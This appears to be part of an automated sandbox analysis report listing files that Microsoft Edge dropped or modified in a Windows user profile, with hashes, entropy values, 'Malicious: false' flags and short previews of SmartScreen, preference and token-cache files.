lkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.027439856261809
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXhZVf:YWLSGTt1o9LuLgfGBPAzkVj/T8lnVf
MD5:	308FA7F3C15BBF51991426E8614F3036
SHA1:	1A6274D697974AFFFCB3FE4AB932C5F91CAC7C56
SHA-256:	1D344CB4EB586AEC33E082E9AC9A7B7624C066CF1DBAFDF9C2BD0266A49DAC94
SHA-512:	7BA352AAFCD6D0375D897912D3951827253C493E77874BA220E8C1A20BBE5988A669B7779D9AC64196CFAD3878DB4E954ADE84E25370883533146E009F08E595
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732850376949189}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a6611ec1-3375-4e79-822a-15d3c388c675.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089760067054859
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMZkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynfykzItSmd6qE7lFoC
MD5:	666D04B5582C111AE6F8A8F018E96B74
SHA1:	D89A92CD439217460966A58CE190C491880D432F
SHA-256:	72E837359C481138364DFCF90199C4E4454D30A577FBF404BDDD896C24C472B7
SHA-512:	2EB5B0FBF06F219BAA0DC419FD46328D910E95180E11F5C34E2C958FD432545F776A397AA83BC7F4FE8C72A5305712202431370353160245B7864BA2DF7E5BBE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b46728b3-3403-4b99-ac5d-62c03d2cfd04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44978
Entropy (8bit):	6.095411182350474
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWXpi1zNt5fs9mcOnPLXczKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOvfsZKtSmd6qE7lFoC
MD5:	CA2FC095008E7ECE9B5FA7856A55BE14
SHA1:	2E835C0B97FE5903B66FC8FFCEBDF2737A9DA824
SHA-256:	BB8A157C309763A078977ADE989A85AE53643FDD44CEAA6BE01B8B45D604E2E6
SHA-512:	C5D5EB1A8CBABAA01A9A5054236A83FAE18764C725FB2E618013A6DC469326E63D8CC3879B74BB4B973AE639E9CC4CC081747E33C7012CBDC328084511B0083D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ea65ba4e-51d4-40ec-9c49-13252e4c8147.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44914
Entropy (8bit):	6.095162780394037
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWnpi1zNt5fsNgGxDF9KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXfsHKtSmd6qE7lFoC
MD5:	E326B84F4FAE2138DEEEA70F00129CBB
SHA1:	B8AB79E907289EA1E28A6A5CD0A552728D352E61
SHA-256:	D269930378396F8AA1BBBF5913EB4FEEBB71CDC7FCD08B38DFB70D63B7EB5654
SHA-512:	39C104E58395FDD06AA6432B7AC30BB90A32E22E7F687A5F06E2A528C7C07C492B25357A689F9D2DA1B9D2DDBFF19AAAAEA20B7793BA54E440EC02205C850A03
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f2907cfd-7717-4e96-b57e-62b05fed9fc4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44914
Entropy (8bit):	6.095162780394037
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWnpi1zNt5fsNgGxDF9KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXfsHKtSmd6qE7lFoC
MD5:	E326B84F4FAE2138DEEEA70F00129CBB
SHA1:	B8AB79E907289EA1E28A6A5CD0A552728D352E61
SHA-256:	D269930378396F8AA1BBBF5913EB4FEEBB71CDC7FCD08B38DFB70D63B7EB5654
SHA-512:	39C104E58395FDD06AA6432B7AC30BB90A32E22E7F687A5F06E2A528C7C07C492B25357A689F9D2DA1B9D2DDBFF19AAAAEA20B7793BA54E440EC02205C850A03
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.851845456173772
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx0xl9Il8uj1cJKGLrY3Wwl3h2+TX+d1rc:mZYXchM3Nlx2+TXV
MD5:	9D7974998D82290FB076962D9BEBB036
SHA1:	768BAC30CA0E91B2E1FAB350C05A912E75EEBC9D
SHA-256:	F1561EFA86F5E1895B183D8780CD68D75F17B758B1634D28ACB80C0D64378A15
SHA-512:	2ADD679801242ACABB3C6A2DEACB14883F7217B0D827E668F2E1994A355A82E11A049FE18F936952587102F6C5FF67CF5FC23B6A4BEA67D9B6C5A648F507DBE1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.I.U.J.N.C.t.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.2.D.K.D.s.j.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.996760129997005
Encrypted:	false
SSDEEP:	96:dYr0tgLg32Ntm+pV+dAqUYq2837LhC9GXhA4bv1x:dvtszNtm+XqUtE9gXD1x
MD5:	D413B92341D06156672CF395B0E09980
SHA1:	5A23B64EFA00F2CD54D3A3E34FFF87EB2A52963C
SHA-256:	1B83FE162DC440A736EE0C86A23109F5F85D0D756D753DD0D8B2EE419E081057
SHA-512:	012A6ECDEED2FC3936C22F79660C6D7F306382B25284CD185344D79C5173DF59816BABCE722FB1BDBFD42A9F9784AC24B0759D638C73DED1294C590BFFB17E8B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.x.j.F.G.S.N.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.